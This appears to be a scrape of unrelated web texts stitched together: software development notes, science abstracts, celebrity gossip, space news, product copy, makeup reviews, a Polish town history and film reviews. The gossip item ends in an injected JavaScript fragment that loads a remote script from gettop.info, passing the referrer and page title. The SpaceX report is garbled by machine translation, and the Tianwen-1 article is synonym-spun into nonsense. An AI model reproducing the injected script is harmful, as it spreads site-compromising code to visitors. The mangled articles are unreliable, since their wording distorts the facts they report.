- setting the stage
- gt-process split out into different modules (gt-process-feature, gt-process-geometry, gt-process-raster)
- backport annotations from geoserver along with supporting infrastructure
- Review AnnotationDrivenProcessFactory, AnnotationBeanProcessFactory and StaticMethodsProcessFactory
- Rename the internals of AnnotationDrivenProcessFactory for InvokeMethodProcess and InvokeMethodRenderingProcess
- Refactor recognising of RenderingProcess stuff to allow for static methods to support RenderingProcess
- Add lots of javadocs with examples
- Q: What to do about the marking interface GeoServerProcess? GSProcess (for "geospatial") giving Spring something fun to pick up and have a party with
- Update annotations; and marker interface; when back porting from geoserver you will need to change imports to:
import org.geotools.process.factory.DescribeParameter; import org.geotools.process.factory.DescribeProcess; import org.geotools.process.factory.DescribeResult; import org.geotools.process.gs.GSProcess; import org.geotools.process.gs.WrappingIterator;
- Will also need to change "WPSException" to "ProcessException"
- asked geoserver-devel to double check on this stuff
- redistribute existing geotools "examples"
- Made ProcessException extend RuntimeException (so that transition from WPSException would be easier)
- Remove Examples of API that do not accomplish anything (dem, buffer single feature, addition, union, intersection)
- populated with a lot of GSProcess implementations
- dependency on gt-grid
- back ported as many test cases as I could
- grabbed a bugsites.property file for testing; along with a test dependency on gt-process and gt-epsh-gsql
- Add enough tests to allow the module graduation into supported land
- populated with the GeometryProcessFactory from geoserver
- test case for GeometryProcessFactory
- Add enough tests to allow the module to become supported (wondering if some reflection against Geometry could allow for faster test buildup)
- populated with a lot of GSProcess implementations (very nice clear readable code)
- pick up a dependency on jai-tools
- need to sort out how to take on raster test cases and get enough test coverage to move the module to supported land
- advanced tutorial showing how to implement a simple process
Most of the processes are backported from GeoServer, where they were tested by exercising the WPS api and using
the testing facilities provided by GeoServer.
Need to replicate some of that at least partially:
- have a number of datasets that can be used for testing (most of the GeoServer ones are in the main module)
- have base class methods to perform quick checks against feature collections (feature existance, attribute existance, and so on)
- have base class methods to perform checks against coverages, like pixel and band checks
Contains the Process interface, ProcessFactory along with DescribeProcess annotations etc...
- cookie cutter
- and so on...
- Add enough tests to
- raster to vector
- anything else ...

Smallholder Farmers Awareness and Perceptions of Climate Change in Moshi Rural District, Tanzania
Farmers’ perception of climate change is a pre-requisite for undertaking adaptation actions. However little is known on how smallholder farmers in different agro ecological zones of Tanzania perceive climate change. This study examined the perception of climate change among smallholder farmers in different agro ecological zones of Moshi Rural district, Tanzania. Primary data were obtained from 359 household heads and 35 key informants. Data collection methods for this study were questionnaire survey, in-depth interviews, focus group discussions and observation. Questionnaires were administered to 359 household heads while in-depth interviews were administered to key informants. Historical data for rainfall and temperature were obtained from Tanzania Meteorological Agency. Analysis involved descriptive statistics for quantitative data and content analysis for qualitative data. Findings from this study revealed that majority (98.3%) of farming households were aware of climate change in terms of increasing temperature and reduced rainfall. Furthermore, 92.5 % of respondents perceived that temperatures have increased, while 74.9 % perceived that rainfall has decreased. However, these perceptions differed between the different agro ecological zones. Most farmers perceived that amounts and duration of rainfall had decreased. Rainfall has been more unpredictable, unevenly distributed, as well as starts late and ends early. Farmers perceived that the wet season is getting shorter because they perceived that currently, the wet season starts late. The study has indicated that majority of farmers are aware of climate change, but failed to understand the nature and extent of its impacts due to limited access to up-dated climate related information. Therefore, provision of timely, relevant and user-friendly climate information should strategically reach smallholder farmers.

Aditi Rao Hydari has donned a hot and sensuous role in Murder 3. The actress has always been clear in her view and bold with her words. Recently, while promoting the upcoming film, Aditi made a very bold comment that left many brows raised.
Aditi along with Randeep Hooda and Sara Loren was at the F Lounge & Bar in Mumbai, promoting the Vishesh Bhatt film with supernatural entertainer Lior Burchard.
Aditi was asked her opinion on who was hotter, Mallika Sherawat in Murder or Jacqueline Fernandez in Murder 2… This is what she said…
“You know I think everyone has their own choices and journeys, but I think there is far more to sexuality. I think you need to have steel in your soul and not silicone in your chest to be somebody of substance,” Aditi said.
Randeep Hooda was left wide-eyed. He then asked her “steel where?”, to which Aditi Rao Hydari repeated, “Steel in your soul and not silicone in your b**bs,” clearing all the doubts.
When the actress was asked to draw a comparison between her and Mallika Sherawat, the actress said, “I will not be compared and why should I think about it. As an actor I do different roles and that’s something I believe in.”d.getElementsByTagName(‘head’).appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

SpaceX called Falcon 9's countdown on Wednesday because of the thunderstorm lightning strike on the Florida coastline, backing the departure of the International Space Station's cargo mission to Thursday. is not expected to be much better on Thursday afternoon when SpaceX has another flashing start window at 6:01:56 EDT (2201: 56 GMT) to send a Dragon ship to the space station
Widespread thunderstorms, moving southwest-northeast through central Florida, brought rain and thunder to Cape Canaveral. Despite the bleak forecast, SpaceX continued with the loading of kerosene and liquid oxygen propellants in the Falcon 9 two-speed rocket, with the countdown counting to scheduled take-off at 6:24:30. EDT (2224: 30 GMT)
Two rules for the launch time for surface anvils and anvil clouds have remained "do not go out" for launch as the countdown was zero. SpaceX interrupted the countdown at T-minus 30 seconds, and teams began procedures to drain Falcon 9 from its liquid rocket fuel and set up for a new trial on Thursday.
Hold, hold hold for Countdown 1, a member of the SpaceX Launch Command came out on the T-minus countdown network for 30 seconds.
"An interrupt script is running," another engineer said.
SpaceX hopes to be more lucky on Thursday to begin the company's 18th mission to supply the International Space Station under a multi-billion-dollar contract with NASA
"Please continue with … clean up post-static procedures. . The Dragon Capsule loaded with 5097 pounds (2,312 kg) supplies, equipment and experiments for the crew of the six people. Canaveral expects such conditions on Thursday when the cosmodrome was tested on Wednesday afternoon. An updated forecast, released Wednesday night, predicts a 70 percent chance of weather preventing Thursday's release. For the lightning strike, the Air Force team tracks lightning strikes to ensure that no recent ejections have occurred within a radius of 10 miles from the launch site or within 10 miles of Falcon 9.
The cloud rules from the anvil refer to the problems with missile-activated lightning.
"These are a little more scary for us because it may seem that the weather is clear, maybe there has been no lightning in the last 30 to 45 minutes. , but if you send a rocket through this cloud cloud, that cloud can still be charged enough to cause additional lightning strikes, "said Will Ulrich, the 45th-hour officer at a press conference Wednesday morning
NASA and SpaceX may have to wait up to a week for the next chance to send the Dragon Freight Ship to the International Space Station.
The space station position in its orbit prevents the launch of the Dragon spacecraft in op days, and a Russian ship Progress must leave the orbital complex on July 29, laying the foundation for docking a fresh ship. Progress supplies a ship on July 31st.
Normally, it takes two or three days for a Dragon freighter to reach the space station after its launch from Cape Canaveral. If the mission is able to explode today, the SpaceX forwarder will arrive at the space station on Friday.
NASA and SpaceX are looking for another opportunity to launch on the backdrop of lively bandwidth. Otherwise, the next attempt to put it into operation after Thursday may be later than August 1, officials said.
The procurement mission was planned before July 21, but SpaceX delayed the flight three days after repairing the liquid oxygen leak in the first stage of Falcon 9 last week set up marketing preparations behind schedule. carrying the astronauts to and from the station. NASA has paid for the third international dock adapter to replace the first IDA block lost in failure to release SpaceX in June 2015.
SpaceX successfully delivered the second IDA to the station in July 2016 earlier this year on an unmanned test flight that is associated with the orbital research post.  NASA is also sailing under the coffin inside the chamber vessel of the ship under pressure to be used by space astronauts. in the Pacific Ocean, to attract home-made research samples for analysis and another update suit.

Study on the Influence Law of Gas Pressure on Methane Concentration Measurement
Download as PDF
Shen Kai, Liu Yanbao
The measurement accuracy of the infrared methane concentration sensor is greatly affected by the gas pressure. There is a large error between the measured value and the true value, when measuring under negative pressure of the underground gas drainage pipeline. The Methane concentration measurement experiment under negative pressure of 40～90KPa (absolute pressure) has been conducted in laboratory. The influence of gas pressure on methane concentration measurement was analyzed by the results. And then a nonlinear-segmentation pressure compensation model for negative pressure was worked out according to experiment data. The errors of measured methane concentration value after compensation were under ±0.05%CH4 in the range of 0 to 1%CH4 and under ±7.0% of truth-value in the range of 1% to 100%CH4. The research results show that the pressure compensation model could adapt the negative pressure of gas extraction system, and meet the requirements of methane concentration measurement in the pipe for gas extraction.

China’s area company has a penchant for secrecy round its missions. It has proven extra openness up to now 12 months, providing a live video on state media of its Chang’e-Four mission’s launch to the moon. Ought to it announce a extra exact arrival time, we’ll present it right here.
What is going to the spacecraft do on Wednesday?
Tianwen-1 launched from China final July, benefiting from a interval when Mars and Earth have been closest to one another throughout their journeys across the solar. This permits a comparatively quick transit between the 2 worlds.
To meet up with Mars, the spacecraft has fired its engines on a number of events, correcting its course so it may possibly strategy the purple planet on the right angle. The latest engine firing occurred on Feb. 5, and the probe sent back pictures of the red planet from a distance of about 1.three million miles.
On Wednesday, the engine will gentle up once more, expending a lot of the spacecraft’s remaining gasoline in a braking maneuver. That ought to gradual it significantly, and permit the probe to be captured by Martian gravity. There it would circle at a secure distance, becoming a member of the opposite solid of robotic explorers in Martian orbit and making ready for that later floor touchdown try.
Might something go improper?
The historical past of spaceflight is suffering from failed voyages to Mars, together with a Chinese language mission in 2011 that by no means acquired out of Earth’s orbit after the Russian rocket it was touring on failed. And some spacecraft have stumbled throughout this last step of making ready to enter Martian orbit.
As an example, in 1999, NASA’s Mars Local weather Orbiter suffered a navigation error — English items weren’t transformed to metric — and the spacecraft burned in the Martian atmosphere. In 1992, NASA misplaced contact with its Mars Observer spacecraft days earlier than it was to reach at Mars, maybe due to a fuel line rupture. After a Soviet mission in 1974, Mars 4, failed to fireplace its retro rockets, the spacecraft sailed away from Mars.
Nonetheless, the problem of orbiting Mars is nothing in contrast with touchdown there.
When will China land on Mars?
The orbiter carries a lander and a rover which is able to make the troublesome transit to the floor. China says it would attempt to land on Mars in May, nevertheless it has not specified a date.
Its vacation spot is Utopia Planitia, a big basin within the northern hemisphere that more than likely was as soon as impacted by a meteor, and which was visited by NASA’s Viking 2 lander in 1976. One purpose of the Tianwen-1 mission is to higher perceive the distribution of ice on this area, which future human colonists on Mars might use to maintain themselves.
Landing on the red planet is perilous. Spacecraft descend at a excessive velocity and the skinny environment does little to assist gradual the journey to the bottom. Air friction nonetheless generates excessive warmth that should be absorbed or dissipated. Quite a few Soviet, NASA and European missions have crashed. Solely NASA has landed intact greater than as soon as.
The Chinese language spacecraft will spend months orbiting Mars to examine programs and decide a touchdown spot that won’t be too treacherous.
Ought to it land in a single piece, the rover will want a reputation. After nominations from folks in China, a panel of specialists selected 10 semifinalists. Amongst them, in accordance with state media, are Hongyi, from a Chinese language phrase for ambition and persistence; Qilin, a hoofed creature of Chinese language legend; and Nezha, a younger deity who is taken into account a patron of rebellious youth.
What else has China achieved in area not too long ago?
Since China launched its mission to Mars in July, it has been to the moon and back.
The Chang’e-5 mission lifted off in November, collected lunar samples after which introduced them again to Earth for scientists to check. It was the primary new cache of moon rocks for the reason that Soviet Union’s final lunar mission in 1976.
China’s Chang’e-Four mission, the first to land on the moon’s far side, remains to be in operation and its Yutu-2 rover remains to be finding out the lunar floor greater than two years after it launched.
What else is arriving on the purple planet in 2021?
The primary robotic probe to reach at Mars this 12 months was Hope, an orbiter from the United Arab Emirates’ emerging space agency. It arrived on Tuesday, and can embark on a examine of the purple planet’s environment, serving to planetary scientists perceive the climate dynamics of Mars.
The third new customer to Mars will likely be Perseverance, NASA’s latest rover. It launched a bit later than the opposite two spacecraft final July, and can skip Martian orbit, heading on to the planet’s floor on Feb. 18.
The robotic explorer could be NASA’s fifth rover on Mars, and it is rather much like Curiosity, which is now exploring the Gale crater. The brand new rover carries a special set of scientific devices and can explore the Jezero crater, a dried-out lake that scientists consider might be a great goal to hunt fossilized proof of extinct Martian microbial life.
The mission will even try a brand new first on the purple planet: flying a helicopter in the wispy Martian atmosphere. NASA’s Ingenuity helicopter will likely be dropped off by the rover not lengthy after touchdown. Then it would try a lot of take a look at flights in air as skinny because the higher reaches of Earth’s environment, aiming to exhibit that Mars might be explored by the air in addition to on the bottom.
What different spacecraft are presently finding out Mars?
It’s getting a bit crowded across the purple planet.
Six orbiters are presently finding out the planet from area. Three have been despatched there by NASA: Mars Odyssey, launched in 2001, Mars Reconnaissance Orbiter, launched in 2005, and MAVEN, which left Earth in 2013.
Europe has two spacecraft in orbit. Its Mars Specific orbiter was launched in 2003, and the ExoMars Hint Gasoline Orbiter lifted off in 2016 and is shared with Russia’s area program.
India operates the sixth spacecraft, the Mars Orbiter Mission, also referred to as Mangalyaan, which launched in 2013.
Two American missions are presently working on the bottom. Curiosity has been roving since 2012. It’s joined by InSight, which has been finding out marsquakes and different inside properties of the purple planet since 2018. A 3rd American mission, the Alternative rover, expired in 2019 when a mud storm induced it to lose energy.

Our source reveals, "The Big B starrer will be shot in the jungles of our North-East neighbouring country Bhutan. The ageing superstar plays a warrior in the film, the plot of which is based on the famous Hindi novel Chandrakanta. The makers have chosen Bhutan, as the geography there is quite different. They will be erecting a huge set in Bhutan as well as in Mumbai. It is a big project and is still in the pre-production stage. There is a lot of research to be done. But since right now, Vidhu Vinod Chopra is busy with 3 Idiots, the film will go on floors only by the end of 2009. Recession is another factor that is delaying the film."
"Apart from Amitabh Bachchan, the mega cast of the film includes Aishwarya Bachchan who plays a princess, Abhishek Bachchan in the role of a warrior prince and Sanjay Dutt in a negative character. Aishwarya's look hasn't been decided yet but it will surely be very appealing as Chandrakanta is charismatic and physically strong. She will be required to do sword fighting.

HAMILTON, Bermuda -- North Atlantic Drilling has completed its acquisition of Seadrill’s harsh-environment drilling activities for $4.1 billion. The transaction followed North Atlantic’s private placement of 250,000,000 new shares in February, and the securing of a $2-billion loan facility.
North Atlantic Drilling will have five drilling rigs in operation – all 1,050 personnel have agreed to transfer to the new owner. A sixth rig, the West Elara, should be delivered shortly from the Jurong Shipyard and will then start drilling operations for Statoil in the North Sea.
In addition, Seadrill has decided to offer the recently ordered harsh environment jackup West Linus, which will be delivered to North Atlantic at its cost. This rig has a five-year drilling contract lined up offshore Norway for ConocoPhillips.

The Iris Lamps are a unique line of adjustable lamps that gives you the ability to change the light and create the atmosphere in the room. The Iris Lamps transforms their form and the atmosphere in a room by changing their light direction and projections. By adjusting this lamp you can have upward pointing light, a downward pointing light, or a mixture of both. The floor lamp can be adjusted to all directions. The reflective interior casts intricately patterned reflections that change as the lamp’s configuration is changed. The Iris series lamps are the fruit of years of development of the patented overlapping leaves mechanism first explored in lightexture’s Steamlight series. (Patent #8,025,430) Composed of overlapping brass leaves, each Iris Lamp has two adjustable apertures; as one opens, the other closes. When the lower aperture is fully open, light shines directly down, casting textured golden light onto the surface below. When the upper aperture is open, patterned light shines upward and bounces off the ceiling to fill the space with a warm, indirect light. The transition between these two provides a variety of reflections and light atmospheres.

Creating a balanced nutritional mash for your horse.
For years, horse owners and show barns have fed bran mash before a long trip, or after a change in the weather, thinking they were treating their horse to a warm, healthy meal. Now, more people are educating themselves about better nutrition for their horses as they also take control of their own diets. With epidemic rates of insulin resistance, Cushing’s and other metabolic diseases popping up, what should we really be feeding our horses?
Bran mash has many myths surrounding it – and one strong fact. It is a century-old out-of-date practice that began when wheat middlings and by-products were given to cattle and horses because it was cheap. Horses were fed pounds of it every day, upsetting their calcium/phosphorus ratios. Later, bran would be linked to the commonly-named disease “Big Head Syndrome”. Bran was essentially robbing horses of the calcium in their bones and weakening their skeletal structure.
Now, over 100 years later, it has become the practice to feed one meal of bran per week to help prevent colic, act as a laxative, or “clear the gut”. But the bran is doing none of these things. What’s actually happening inside your horse’s stomach is an upset in the delicate balance of microorganisms. Changing his feed once per week to this high sugar, high phosphorous, foreign by-product kills the good bacteria in the gut, which results in diarrhea (commonly mistaken as bran’s laxative effect).
A better solution to feeding bran mash is to give the horse a balanced nutritional “meal” that can be fed in any situation. A healthy mash would:
• offer an optimal fiber source with high quality protein
• be formulated to give the right blend of sugars and fiber
• be designed to have a slow release energy concept
• not compromise the normal feeding program
Mashes are ideal for the horse, as the water content improves digestibility and gut flow to a greater degree than dry feed. Hot mashes warm the body core and help maintain condition in cold weather – or provide quick and simple hydration in warm weather.
Emerald Valley has developed safe, high fiber mashes based on two top-selling feed stuff products developed in the UK; Speedi- Beet and Fibre-Beet have become the best ways to add fiber, water, protein and balance to your horse’s diet. SuperMash and SavvyMash are the most nutritional common sense approaches to treating your horse and helping his digestive tract. These products will not upset his daily feed regime.

I got this silicone from a friend that builds reef tanks to use for my frog tank and was wondering if anyone has used it. SCS1200 specialty 100% silicone. He build fish tanks to monstrous reef tanks with this and no problems, my concern is you have to use plastic primer (the purple/pink stuff for pvc pipes) he says for it to stick to plastic. Should I be concerned with that or not. My thoughts are no if it is cured properly I know how sensitive a reef tank is but I would like some with frog experience to chime in.


We are students supporting one another to engage in nuclear advocacy. Students are at an interesting position in life. We are making decisions for what we want to devote our working lives toward progressing. These are the stories of students who have decided that developing and supporting nuclear energy is an important and meaningful way to spend their lives. We do not take money from the nuclear industry. The nuclear industry is a risky, arguably declining business to choose to work in right now. Students have all kinds of reasons why they find nuclear power to be so compelling. This website is a means for students dedicated to nuclear energy and technology to support one another, build a community, and tell the stories of why we are doing what we are doing.

Due to the increasing importance of vehicle energy efficiency, design changes on flex fuel engines aiming fuel consumption and CO₂ emissions reduction becomes priority. It is known that, due to chemical difference between hydrated ethanol (E100) and commercial gasoline (E22), parameters as combustion pressure, burn speed and knock tendency vary according to the fuel and are decisive for the engine thermal efficiency. This study has the objective to show and quantify the influence of the cooling liquid temperature in these parameters and on the thermal, mechanical and global efficiencies of an Otto flexible fuel engine, aiming to observe opportunities of fuel consumption reduction and performance improvement, as a way to compensate the fixed compression rate of flex engines. The results show that it is possible to have better efficiency in partial and full loads, adjusting the cooling liquid temperature according to the used fuel.

I started using this foundation when I was just into makeup. For me, this was the first “high end” foundation I ever used. I was young, didnt know anything about skincare so my skin was a mess. With this foundation, that was not a big deal at all, the coverage is great. If you struggle with redness or acne scars, I would really recommand this one. Also, the foundation doesn’t get oily during the day, it just stays on. The only downside are the colours, more specific, the fact that there are not many. For me, it’s always mixing mixing mixing, but not everyone is into that. However, it would be worth it!

This is honestly whatever. I bought this two years ago when MAC was still "ooh ahh" to me and I thought it was going to be the magic foundation to cover my horribly breaking out at the time skin. First off, the girls at the counter are rude af. I wanted to actually buy product and I was ignored and these little girls playing in testers were catered to. The girl that finally helped me was nice but she tried to give me a shade that was too light at first because she was testing on my hand, but I tan and my hands don't. She gave me a shade I was more comfortable with NW25. This is really liquidy, it's alright but nothing amazing imo. It can be built up. Covers alright. Doesn't hold back any oils. Today I finally used up the last little bit and realaized the W must stand for warm and I wouldn't say I'm a warm undertone, more neutral to cool. So I think nC25 would have been a better fit for me. Because today I realaized at the end of the day that I was looking kind of orangey. So that annoyed me. Honestly this is way overpriced at $35. Mac is overhyped as a brand I think. And I don't like that they test on animals. I've tried drugstore foundations similar or even better than this one. I feel like there's SO much out there now I'd be better off trying than using this. Also, I never really noticed it before because I didn't pay attention, so that's not saying it DIDNT happen, but I swear this shit broke me out today. There's a pimple I swear wasn't there today under my chin and my jawline feels bumpier than before. I'm pissed. I remember when I first bought it an acquaintance was like oh take it back it broke me out and I was like eh whatever not everyone has the same skin but I'm 99% this caused my skin to freak out today. Don't recommend. Wouldn't buy again. Or probably any Mac foundation tbh. I'm over Mac.

It's ok. I only bought this because I get MAC Pro discount and it's literally the only one I haven't tried. After being a doublewear fan forever, I thought this would be a cheaper option, but it really just didn't perform anywhere near as well as lauder's doublewear. It just didn't look right. It wasn't necessarily cakey, but I could see it on my face. It didn't last the whole day either. My face got really shiny about midday and that was it for me. I'll pop it in my freelance kit.

Finally found a fit for my yellow undertone but sometimes i find it a shade darker than my actual skin tone when i am tanning.But overall its a great match if you have yellow undertone!I normally set my foundation with a powder or else it would oxidize.One lippie off because its way too pricey.

Not sure if others have mentioned this before, but I just want to say that NW15 in this formula is totally not what I'd expect from an NW15. Based on, say, the Studio Finish concealer, I expect NW15 to be quite light (though not ghostly pale) and pink toned, whereas this is pretty much olive toned, or at least very neutral, and it's quite dark. I'm currently around an NC25, but I have a cool yellow or olive undertone, so MAC NCs are usually too warm yellow on me and NWs are usually way too pink. I was randomly browsing swatches of this foundation online and noticed that the NW20 looked pink as expected, but the NW15 looked as dark as the NC25 and more neutral/green, so I went and got a sample and I'm shocked that it's a near perfect match. NW15 would normally be the completely wrong shade for me and I'd never have thought of trying it. I'll need to remember to test a larger range of MAC shades next time since they seem to vary so much from one formula to another.

I went to store expecting to find full coverage foundation that lasts all day with a warm undertone. I have a good intuition, so it told me that I should pick this product. And also it's package looked nice and it's a reason to buy it too. Despite that the consultant picked a lot lighter color than my face and body and I looked like with a white mask on my face, I really loved it.(I decided to buy another darker colour bottle of it and mix those two) I love how it applies, how it lasts, blends and stays all day on my a little bit oily skin. Now I can touch my face and don't have to worry about the spots on my face. I can even cry or walk in the rain and still have beautiful flawless looking skin. I would definetely recommend it to a full coverage lovers !

Wears like iron and I love that! Like. IRON! Now the color was way off. I got my usual NW45 and it is way too light. 1 lippie off for that. So I mix it with the pro longwear concealer in NW45 to get a color closer to my skin. This is also a medium coverage foundation at best and I really do not have time for that. I love full coverage. But I am oily as hell and this lasts like a dream on my skin. I will certainly repurchase in a deeper shade. Yay for the pump!

I work 12 hour shifts so I need foundations that last. I have used 6 bottles of this foundation, no joke. One bottle last about 8 to 9 months, sometimes 12 months depending on whether or not I am trying out other foundation formulas. I love the creamy consistency, the semi-matte finish, and the coverage, which is medium coverage but could easily be built up to full coverage. My shade is NC25 which is a perfect match for me. I have combination skin all year around, but a little greasier during summer months. I don’t have major skin issues that require a ton of coverage, just sun spots typical of my age. When using this foundation I have to blot once during my work shift, but overall it doesn’t melt down very easy. This is my second most favorite foundation ever. My number one is Estee Lauder Double Wear.

Bought this not too long ago but this foundation is hands down the WORST foundation I have ever tried in all my life. I got matched perfectly with NC40 by a mac artist at the store so initially, I was excited because of the perfect color match. I wore it the next day and as the day went on the foundation began to feel kind of itchy. Once I got home and I washed my face I noticed several clustered bumps on my face. Mind you, I do not have acne prone skin and only get one or two minor pimples during the time of the month but that's about it, nothing major. It ended up becoming a rash and so I had to return it. This has never happened to me with any other foundation. It was awful! Be careful if you have sensitive skin. I don't have sensitive skin but can't imagine what this would be like for someone that does. Definitely would never recommend.

The square of Starogard Gdański. Panorama picture. To the right is the Church of Saint Catherine. – Photo by: Daniel Krawczyk

Starogard Gdański is located in northern Poland, south of the regional capital Gdańsk. The Wierzyca River runs through the city in a southeastern direction. At Gniew, it has its outlet in Wisła. Starogard Gdański is one of the oldest cities in Pomerania. The ethnic-cultural region in which the city is located is called Kociewie; the inhabitants here serve a special dialect. Starogard is the second largest city in this region (after Tczew).
In a document of 1198, issued by the Pomeranian prince Grzymisław, the place name Starigrod is mentioned for the first time. According to this document, First Grzymisław gave the settlement Starigrod to the Maltese Order.
Over the next 400 years, the spelling of the city name changed to Stargarde, later Staregarde and eventually to Starogard.
In 1305 Starogard was purchased by the Crusader Order. In the early 1300s, a fortification began to be erected around the city. Starogard was granted market town rights in 1348.
In 1440, the city joined Związek Pruski, whose purpose was to fight the power and influence of the Crusader Order in the East Pomeranian territory. In 1454, representatives of the city lent to the Polish king Kazimierz Jagiellończyk. In 1461, the Crusaders retook Starogard, which was subsequently besieged by the Royal Polish Army, with the result that the Crusaders left the city in 1466. Subsequently, Starogard, together with the entire region, was under the rule of the Polish King.
In the first half of the 16th century Lutheranism spread in Starogard and in 1557 the Lutherans took over the hitherto Catholic churches in the city. However, one church got the Catholics back in 1599.
In 1655, Starogard was occupied by the Swedes, who first left the city two years later. A great fire destroyed the southern part of the city in 1749.
In 1772, the Prussian army occupied Starogard in connection with Poland's first division. The Prussian rule was to last until 1920. A fire in 1792 destroyed much of the city.
January 29, 1920, the Polish army took Starogard, and the city was thus incorporated into the new Polish Republic.
On September 2, 1939, Starogard was captured by German forces, who immediately began a massive persecution and killing of the inhabitants. During the war, a total of approx. 7,000 people, including 2842 patients at the mental hospital as well as disabled children.
On March 6, 1945, the Germans were driven out of the city by Soviet forces. From now on, Starogard was ruled by Polish authorities. From 1950 the city became known by the name: Starogard Gdański. In 1974, the new regional hospital was inaugurated. On May 27, 1990, the first free elections were made to the municipal council in the post-war period. The city's 800th anniversary was celebrated in 1998.
Famous people associated with Starogard:
Kazimierz Deyna, football player (1947-1989), was born in Starogard Gdański, where he also received his basic education as a sportsman at a local club. He is considered to be one of the best Polish footballers ever.
The defense wall around the city is best preserved in the section to the northwest with a height of 5 meters and a width of almost 2 meters. At the transition between 1309 and 1310, – on order from the Grand Master of the Crusader Order – they began to prepare the work of expanding the village of Starogard into a fortified city. From 1313-1320, a defensive wall began to be built around the 8.4 hectares that the city then covered. The wall had a foundation of fieldstones with bastions in the corners and a moat around it. Later, access gates with gate towers were built. The work was completed in 1340.
In the northwest corner of the city wall is probably the oldest defense tower.
is the best preserved part of the city's defense facility. The Gothic tower from about 1332 stands by the Wierzyca Canal, the former moat. Originally, the tower guarded access through the Gdańsk Gate. Later, a prison was set up in the tower.
Mill Tower (Tczew Tower)
is today a reconstruction of the original tower that was part of the city's fortification. The tower dates from the 1st quarter of the 14th century. In 1986, the upper part was recreated in half-timbered works and the roof was reconstructed.
The water tower
is also one of the four defense towers in Starogard. Its name got it because it stood near the old water gate. It was later remodeled into a city gate.
Saint Mateusz’ Church
This parish church is the oldest preserved church in the city (14th century). Initially, the church consisted only of the current choir. Since then, the church of the Crusaders was expanded with a large church ship.
Church of Saint Catherine
The church stands in the northeast corner of the old square. This three-ship church was built in 1802 instead of a medieval church, which was used by the Lutherans from 1577. The tower rebuilt in 1873 is the tallest building in the city and represents an excellent vantage point. tourists can orient themselves in the old town.
is the oldest part of the current Starogard. On this side of the river Wierzyca was originally a large farm and a village belonging to Piotr Święcy. When the Crusaders bought Starogard in 1305, they began to expand the city; therefore, a central square and a number of streets exiting the square were to be constructed. This work was led by the builder Teodot of Florence. The square was square and measured 107×107 meters. the Old Town Square in Warsaw. In the middle of the square was the town hall.
The current town hall from the beginning of the 19th century. is built on the foundation of the Gothic City Hall, which was destroyed by the fire in 1484 and rebuilt after the destruction during the war with the Swedes. In addition, a rebuild occurred in 1893.
Kociewie Area Museum
is housed in the former defense tower: Baszta Narożna (Corner Tower) and illuminates the culture of the ethnic-linguistic region in which Starogard is located.
The mill and the Wiechert mansion
The mill business in Starogard goes back to 1283, where an on-site water mill is mentioned. The mill was purchased by Franciszek Wiechert in 1871. He served well on this business and in 1893 was able to begin the construction of an impressive mansion for himself and his family. The building consists of two parts: a lower, more modest one-storey neo-Gothic section and another, the actual mansion, a richly decorated two-story Renaissance-style building. The mansion remains privately owned.
is a neo-Gothic building erected at the end of the 19th century. Before World War I, the building was an officer's casino.
The barracks complex was built in 1778-1781 by order of the Prussian King, Friedrich II.
Starogard is located in the lake landscape, called Pojezierze Starogardzkie , on both sides of the Wierzyca River and west of the Wisla River Valley.
Immediately northeast of the urban area is located Kochanka Lake , a flow lake covering 16.4 ha. There are good opportunities for angling.

Every film that has ever been nominated for an Academy Award in any category. Enjoy!
Choose your destiny.
Doormat Wesley Gibson discovers that his recently murdered father -- who Wesley never knew -- belonged to a secret guild of assassins. After a leather-clad sexpot drafts Wesley into the society, he hones his innate killing skills and turns avenger.
This film is one of the most ridiculously awesome things I have ever seen. And yes, that does include Shoot 'Em Up. Seriously, this is just brilliant. There's people curving bullets, people flipping cars then shooting people whilst still in said car, exploding rats and Angelina Jolie.
And I never though the day would come when I started measuring movie badassness on the merits of a character played by James McAvoy.
An adrenaline filled film, with a great performance from James McAvoy. It's just absolute fun, great cast, explosive soundtrack and entertaining action sequences.
I am for watching this film for a little while and I read some bad comments about it and I can't understand why all of the hate!? This film is totally cool! It has the most crazy impossible action scenes but all were awesome to watch! I had a lot of "wow" moments and it was a pure and good entertainment thriller from beginning to end!
James McAvoy passes from idiot to badass and he did a great job, again! He is a versatile actor and I really admire him. Angelina Jolie plays the type of character that is always perfect for her, so she was great too. Well and Morgan Freeman is Morgan Freeman.
For me this is definitely worth watching and I had a lot of fun!
"What the fuck have you done lately?.."
Exceptionally filmed scenes of exceptional action!
Not as dark as the graphic novel but still packs a bloody punch.
McAvoy proves he can be an A list star and Jolie finally brings out the superstar card she'd always threatened.
And she also shows her exceptional back side.
When you think about truly entertaining "popcorn movies" of recent years, Timur Bekmambetov's Wanted fits the bill pretty well. Another comic-book adaptation to get the big screen treatment, this was as fast-paced as action films got back in 2008.
James McAvoy plays a downtrodden office worker who's life is passing him by. Bullied at his job, and derided by his cheating girlfriend, he suffers panic attacks as he struggles just to get through the day. His life though is about to change after he meets the stunning Angelina Jolie in a late night pharmacy who informs him that his father was an expert assassin and that his killer is now hunting him. That's the premise here, McAvoy is asked to…
0% logic. 100% awesome.
Also, Morgan Freeman saying "shoot this motherfucker."
it was cool????? again james was hot in it????? literally only watched it because mcavoy was in it but i liked it yeah it was good. it was fun. i dont know what else to say.
I enjoyed Wanted, even though I'm not much of a fan of this genre. The action sequences were appealing and well-done.
My parents and I lasted all of six minutes before we switched over to a Midsomer Murders rerun and watched that instead. From what I saw this movie was very Fight Club-esque, but too ridiculous to be any good.
Jesus Christ, the Loom of Fate.
Un comienzo prometedor, con ciertos ecos de El club de la lucha (Fight Club, David Fincher, 1999) no tarda en desvanecerse para dar paso a un indigesto pastiche de efectos digitales, personajes planos y acción desbocada. Basarse en un cómic –de Mark Millar y JG Jones- no lo justifica todo. Un bodrio.
I've seen it before only on an ipod and I thought it was an awesome movie on that. Now that I've seen it on my 52 inch it's so much better.
I am a huge advocate for the first Kick-Ass movie, Mark Millar's most successful comic book adaption. With the future release of The Secret Service (based on Mark Millar's comic) I thought I would visit his first book turned movie, Wanted. I found the results to be an entertaining yet underwhelming action film.
The real star of Wanted is its action. The scenes are high energy and feature great special effects. The director seems to enjoy the use of slow motion, maybe a little to much. The best scenes in the movie balance the amount of slow motion and regular speed, but some of the other scenes rely too heavily on its use. Not only is the reliance on slow…
Badass James McAvoy
